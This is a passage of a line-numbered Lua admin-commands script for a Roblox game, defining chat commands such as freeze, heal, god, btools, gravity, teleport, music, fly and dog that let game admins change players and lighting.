  1075. coroutine.resume(coroutine.create(function()
  1076. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1077. for a, obj in pairs(v.Character:children()) do
  1078. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1079. end
  1080. end
  1081. end))
  1082. end
  1083. end
  1084.  
  1085. if msg:lower():sub(1,5) == "thaw " then
  1086. local plrz = GetPlr(plr, msg:lower():sub(6))
  1087. for i, v in pairs(plrz) do
  1088. coroutine.resume(coroutine.create(function()
  1089. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1090. for a, obj in pairs(v.Character:children()) do
  1091. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1092. end
  1093. end
  1094. end))
  1095. end
  1096. end
  1097.  
  1098. if msg:lower():sub(1,5) == "heal " then
  1099. local plrz = GetPlr(plr, msg:lower():sub(6))
  1100. for i, v in pairs(plrz) do
  1101. coroutine.resume(coroutine.create(function()
  1102. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1103. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1104. end
  1105. end))
  1106. end
  1107. end
  1108.  
  1109. if msg:lower():sub(1,4) == "god " then
  1110. local plrz = GetPlr(plr, msg:lower():sub(5))
  1111. for i, v in pairs(plrz) do
  1112. coroutine.resume(coroutine.create(function()
  1113. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1114. v.Character.Humanoid.MaxHealth = math.huge
  1115. v.Character.Humanoid.Health = 9e9
  1116. end
  1117. end))
  1118. end
  1119. end
  1120.  
  1121. if msg:lower():sub(1,6) == "ungod " then
  1122. local plrz = GetPlr(plr, msg:lower():sub(7))
  1123. for i, v in pairs(plrz) do
  1124. coroutine.resume(coroutine.create(function()
  1125. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1126. v.Character.Humanoid.MaxHealth = 100
  1127. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1128. end
  1129. end))
  1130. end
  1131. end
  1132.  
  1133. if msg:lower():sub(1,8) == "ambient " then
  1134. local chk1 = msg:lower():sub(9):find(" ") + 8
  1135. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1136. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1137. end
  1138.  
  1139. if msg:lower():sub(1,11) == "brightness " then
  1140. game.Lighting.Brightness = msg:sub(12)
  1141. end
  1142.  
  1143. if msg:lower():sub(1,5) == "time " then
  1144. game.Lighting.TimeOfDay = msg:sub(6)
  1145. end
  1146.  
  1147. if msg:lower():sub(1,9) == "fogcolor " then
  1148. local chk1 = msg:lower():sub(10):find(" ") + 9
  1149. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1150. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1151. end
  1152.  
  1153. if msg:lower():sub(1,7) == "fogend " then
  1154. game.Lighting.FogEnd = msg:sub(8)
  1155. end
  1156.  
  1157. if msg:lower():sub(1,9) == "fogstart " then
  1158. game.Lighting.FogStart = msg:sub(10)
  1159. end
  1160.  
  1161. if msg:lower():sub(1,7) == "btools " then
  1162. local plrz = GetPlr(plr, msg:lower():sub(8))
  1163. for i, v in pairs(plrz) do
  1164. coroutine.resume(coroutine.create(function()
  1165. if v and v:findFirstChild("Backpack") then
  1166. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1167. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1168. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1169. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1170. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1171. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1172. local sb
  1173. local hs
  1174. local pdist
  1175.  
  1176. script.Parent.Selected:connect(function(mouse)
  1177. if not mouse then return end
  1178. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1179. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1180. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1181. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1182. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1183. end)
  1184.  
  1185. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1186. end
  1187. end))
  1188. end
  1189. end
  1190.  
  1191. if msg:lower():sub(1,5) == "give " then
  1192. local chk1 = msg:lower():sub(6):find(" ") + 5
  1193. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1194. for i, v in pairs(plrz) do
  1195. coroutine.resume(coroutine.create(function()
  1196. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1197. for a, tool in pairs(game.Lighting:children()) do
  1198. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1199. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1200. end
  1201. end
  1202. end
  1203. end))
  1204. end
  1205. end
  1206.  
  1207. if msg:lower():sub(1,12) == "removetools " then
  1208. local plrz = GetPlr(plr, msg:lower():sub(13))
  1209. for i, v in pairs(plrz) do
  1210. coroutine.resume(coroutine.create(function()
  1211. if v and v.Character and v:findFirstChild("Backpack") then
  1212. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1213. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1214. end
  1215. end))
  1216. end
  1217. end
  1218.  
  1219. if msg:lower():sub(1,5) == "rank " then
  1220. local chk1 = msg:lower():sub(6):find(" ") + 5
  1221. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1222. for i, v in pairs(plrz) do
  1223. coroutine.resume(coroutine.create(function()
  1224. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1225. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1226. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1227. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1228. end
  1229. end))
  1230. end
  1231. end
  1232.  
  1233. if msg:lower():sub(1,7) == "damage " then
  1234. local chk1 = msg:lower():sub(8):find(" ") + 7
  1235. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1236. for i, v in pairs(plrz) do
  1237. coroutine.resume(coroutine.create(function()
  1238. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1239. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1240. end
  1241. end))
  1242. end
  1243. end
  1244.  
  1245. if msg:lower():sub(1,5) == "grav " then
  1246. local plrz = GetPlr(plr, msg:lower():sub(6))
  1247. for i, v in pairs(plrz) do
  1248. coroutine.resume(coroutine.create(function()
  1249. if v and v.Character and v.Character:findFirstChild("Torso") then
  1250. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1251. end
  1252. end))
  1253. end
  1254. end
  1255.  
  1256. if msg:lower():sub(1,8) == "setgrav " then
  1257. local chk1 = msg:lower():sub(9):find(" ") + 8
  1258. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1259. for i, v in pairs(plrz) do
  1260. coroutine.resume(coroutine.create(function()
  1261. if v and v.Character and v.Character:findFirstChild("Torso") then
  1262. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1263. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1264. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1265. end
  1266. end))
  1267. end
  1268. end
  1269.  
  1270. if msg:lower():sub(1,7) == "nograv " then
  1271. local plrz = GetPlr(plr, msg:lower():sub(8))
  1272. for i, v in pairs(plrz) do
  1273. coroutine.resume(coroutine.create(function()
  1274. if v and v.Character and v.Character:findFirstChild("Torso") then
  1275. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1276. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1277. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1278. end
  1279. end))
  1280. end
  1281. end
  1282.  
  1283. if msg:lower():sub(1,7) == "health " then
  1284. local chk1 = msg:lower():sub(8):find(" ") + 7
  1285. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1286. for i, v in pairs(plrz) do
  1287. coroutine.resume(coroutine.create(function()
  1288. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1289. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1290. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1291. end
  1292. end))
  1293. end
  1294. end
  1295.  
  1296. if msg:lower():sub(1,6) == "speed " then
  1297. local chk1 = msg:lower():sub(7):find(" ") + 6
  1298. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1299. for i, v in pairs(plrz) do
  1300. coroutine.resume(coroutine.create(function()
  1301. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1302. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1303. end
  1304. end))
  1305. end
  1306. end
  1307.  
  1308. if msg:lower():sub(1,5) == "team " then
  1309. local chk1 = msg:lower():sub(6):find(" ") + 5
  1310. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1311. for i, v in pairs(plrz) do
  1312. coroutine.resume(coroutine.create(function()
  1313. if v and game:findFirstChild("Teams") then
  1314. for a, tm in pairs(game.Teams:children()) do
  1315. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1316. end
  1317. end
  1318. end))
  1319. end
  1320. end
  1321.  
  1322. if msg:lower():sub(1,6) == "place " then
  1323. local chk1 = msg:lower():sub(7):find(" ") + 6
  1324. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1325. for i, v in pairs(plrz) do
  1326. coroutine.resume(coroutine.create(function()
  1327. if v and v:findFirstChild("PlayerGui") then
  1328. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1329. end
  1330. end))
  1331. end
  1332. end
  1333.  
  1334. if msg:lower():sub(1,3) == "tp " then
  1335. local chk1 = msg:lower():sub(4):find(" ") + 3
  1336. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1337. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1338. for i, v in pairs(plrz) do
  1339. coroutine.resume(coroutine.create(function()
  1340. for i2, v2 in pairs(plrz2) do
  1341. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1342. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1343. end
  1344. end
  1345. end))
  1346. end
  1347. end
  1348.  
  1349. if msg:lower():sub(1,7) == "change " then
  1350. local chk1 = msg:lower():sub(8):find(" ") + 7
  1351. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1352. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1353. for i, v in pairs(plrz) do
  1354. coroutine.resume(coroutine.create(function()
  1355. if v and v:findFirstChild("leaderstats") then
  1356. for a, st in pairs(v.leaderstats:children()) do
  1357. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1358. end
  1359. end
  1360. end))
  1361. end
  1362. end
  1363.  
  1364. if msg:lower():sub(1,6) == "shirt " then
  1365. local chk1 = msg:lower():sub(7):find(" ") + 6
  1366. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1367. for i, v in pairs(plrz) do
  1368. coroutine.resume(coroutine.create(function()
  1369. if v and v.Character then
  1370. for i,v in pairs(v.Character:children()) do
  1371. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1372. end
  1373. end
  1374. end))
  1375. end
  1376. end
  1377.  
  1378. if msg:lower():sub(1,6) == "pants " then
  1379. local chk1 = msg:lower():sub(7):find(" ") + 6
  1380. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1381. for i, v in pairs(plrz) do
  1382. coroutine.resume(coroutine.create(function()
  1383. if v and v.Character then
  1384. for i,v in pairs(v.Character:children()) do
  1385. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1386. end
  1387. end
  1388. end))
  1389. end
  1390. end
  1391.  
  1392. if msg:lower():sub(1,5) == "face " then
  1393. local chk1 = msg:lower():sub(6):find(" ") + 5
  1394. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1395. for i, v in pairs(plrz) do
  1396. coroutine.resume(coroutine.create(function()
  1397. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1398. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1399. end
  1400. end))
  1401. end
  1402. end
  1403.  
  1404. ------------------
  1405. -- Fun Commands --
  1406. ------------------
  1407. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1408.  
  1409. if msg:lower():sub(1,8) == "swagify " then
  1410. local plrz = GetPlr(plr, msg:lower():sub(9))
  1411. for i, v in pairs(plrz) do
  1412. coroutine.resume(coroutine.create(function()
  1413. if v and v.Character then
  1414. for i,v in pairs(v.Character:children()) do
  1415. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1416. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1417. end
  1418. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1419. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1420. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1421. local torso = plr.Character.Torso
  1422. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1423. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1424. p.Size = Vector3.new(.2,.2,.2)
  1425. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1426. local motor1 = Instance.new("Motor", p)
  1427. motor1.Part0 = p
  1428. motor1.Part1 = torso
  1429. motor1.MaxVelocity = .01
  1430. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1431. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1432. local wave = false
  1433. repeat wait(1/44)
  1434. local ang = 0.1
  1435. local oldmag = torso.Velocity.magnitude
  1436. local mv = .002
  1437. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1438. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1439. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1440. motor1.DesiredAngle = -ang
  1441. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1442. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1443. if torso.Velocity.magnitude < .1 then wait(.1) end
  1444. until not p or p.Parent ~= torso.Parent
  1445. script:Destroy()
  1446. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1447. end
  1448. end))
  1449. end
  1450. end
  1451.  
  1452. if msg:lower():sub(1,6) == "music " then
  1453. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1454. local id = msg:sub(7)
  1455. local pitch = 1
  1456. if tostring(id):lower():find("caramell") then id = 2303479 end
  1457. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1458. if tostring(id):find("rick") then id = 2027611 end
  1459. if tostring(id):find("halo") then id = 1034065 end
  1460. if tostring(id):find("pokemon") then id = 1372261 end
  1461. if tostring(id):find("cursed") then id = 1372257 end
  1462. if tostring(id):find("extreme") then id = 11420933 end
  1463. if tostring(id):find("awaken") then id = 27697277 end
  1464. if tostring(id):find("alone") then id = 27697392 end
  1465. if tostring(id):find("mario") then id = 1280470 end
  1466. if tostring(id):find("choir") then id = 1372258 end
  1467. if tostring(id):find("chrono") then id = 1280463 end
  1468. if tostring(id):find("dotr") then id = 11420922 end
  1469. if tostring(id):find("entertain") then id = 27697267 end
  1470. if tostring(id):find("fantasy") then id = 1280473 end
  1471. if tostring(id):find("final") then id = 1280414 end
  1472. if tostring(id):find("emblem") then id = 1372259 end
  1473. if tostring(id):find("flight") then id = 27697719 end
  1474. if tostring(id):find("banjo") then id = 27697298 end
  1475. if tostring(id):find("gothic") then id = 27697743 end
  1476. if tostring(id):find("hiphop") then id = 27697735 end
  1477. if tostring(id):find("intro") then id = 27697707 end
  1478. if tostring(id):find("mule") then id = 1077604 end
  1479. if tostring(id):find("film") then id = 27697713 end
  1480. if tostring(id):find("nezz") then id = 8610025 end
  1481. if tostring(id):find("angel") then id = 1372260 end
  1482. if tostring(id):find("resist") then id = 27697234 end
  1483. if tostring(id):find("schala") then id = 5985787 end
  1484. if tostring(id):find("organ") then id = 11231513 end
  1485. if tostring(id):find("tunnel") then id = 9650822 end
  1486. if tostring(id):find("spanish") then id = 5982975 end
  1487. if tostring(id):find("venom") then id = 1372262 end
  1488. if tostring(id):find("wind") then id = 1015394 end
  1489. if tostring(id):find("guitar") then id = 5986151 end
  1490. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1491. end
  1492.  
  1493. if msg:lower() == "stopmusic" then
  1494. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1495. end
  1496.  
  1497. if msg:lower() == "musiclist" then
  1498. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1499. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1500. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1501. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1502. end
  1503.  
  1504. if msg:lower():sub(1,4) == "fly " then
  1505. local plrz = GetPlr(plr, msg:lower():sub(5))
  1506. for i, v in pairs(plrz) do
  1507. coroutine.resume(coroutine.create(function()
  1508. if v and v:findFirstChild("PlayerGui") then
  1509. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  1510. cl.Parent = v.PlayerGui cl.Disabled = false
  1511. end
  1512. end))
  1513. end
  1514. end
  1515.  
  1516. if msg:lower():sub(1,6) == "unfly " then
  1517. local plrz = GetPlr(plr, msg:lower():sub(7))
  1518. for i, v in pairs(plrz) do
  1519. coroutine.resume(coroutine.create(function()
  1520. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1521. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1522. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1523. wait(.1) v.Character.Humanoid.PlatformStand = false
  1524. end
  1525. end))
  1526. end
  1527. end
  1528.  
  1529. if msg:lower() == "disco" then
  1530. for i, v in pairs(lobjs) do v:Destroy() end
  1531. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1532. game.Lighting.Ambient = color
  1533. game.Lighting.FogColor = color
  1534. until nil]]
  1535. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1536. end
  1537.  
  1538. if msg:lower() == "flash" then
  1539. for i, v in pairs(lobjs) do v:Destroy() end
  1540. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1541. game.Lighting.Ambient = Color3.new(1,1,1)
  1542. game.Lighting.FogColor = Color3.new(1,1,1)
  1543. game.Lighting.Brightness = 1
  1544. game.Lighting.TimeOfDay = 14
  1545. wait(.1)
  1546. game.Lighting.Ambient = Color3.new(0,0,0)
  1547. game.Lighting.FogColor = Color3.new(0,0,0)
  1548. game.Lighting.Brightness = 0
  1549. game.Lighting.TimeOfDay = 0
  1550. until nil]]
  1551. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1552. end
  1553.  
  1554. if msg:lower():sub(1,5) == "spin " then
  1555. local plrz = GetPlr(plr, msg:lower():sub(6))
  1556. for i, v in pairs(plrz) do
  1557. coroutine.resume(coroutine.create(function()
  1558. if v and v.Character and v.Character:findFirstChild("Torso") then
  1559. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1560. local torso = v.Character:findFirstChild("Torso")
  1561. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1562. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1563. until not bg or bg.Parent ~= torso
  1564. end
  1565. end))
  1566. end
  1567. end
  1568.  
  1569. if msg:lower():sub(1,7) == "unspin " then
  1570. local plrz = GetPlr(plr, msg:lower():sub(8))
  1571. for i, v in pairs(plrz) do
  1572. coroutine.resume(coroutine.create(function()
  1573. if v and v.Character and v.Character:findFirstChild("Torso") then
  1574. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1575. end
  1576. end))
  1577. end
  1578. end
  1579.  
  1580. if msg:lower():sub(1,4) == "dog " then
  1581. local plrz = GetPlr(plr, msg:lower():sub(5))
  1582. for i, v in pairs(plrz) do
  1583. coroutine.resume(coroutine.create(function()
  1584. if v and v.Character and v.Character:findFirstChild("Torso") then
  1585. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1586. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1587. v.Character.Torso.Transparency = 1
  1588. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1589. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1590. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1591. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1592. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1593. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1594. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1595. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1596. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1597. end
  1598. end))
  1599. end
  1600. end
  1601.  
  1602. if msg:lower():sub(1,6) == "undog " then
  1603. local plrz = GetPlr(plr, msg:lower():sub(7))
  1604. for i, v in pairs(plrz) do
  1605. coroutine.resume(coroutine.create(function()
  1606. if v and v.Character and v.Character:findFirstChild("Torso") then
  1607. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1608. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1609. v.Character.Torso.Transparency = 0
  1610. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
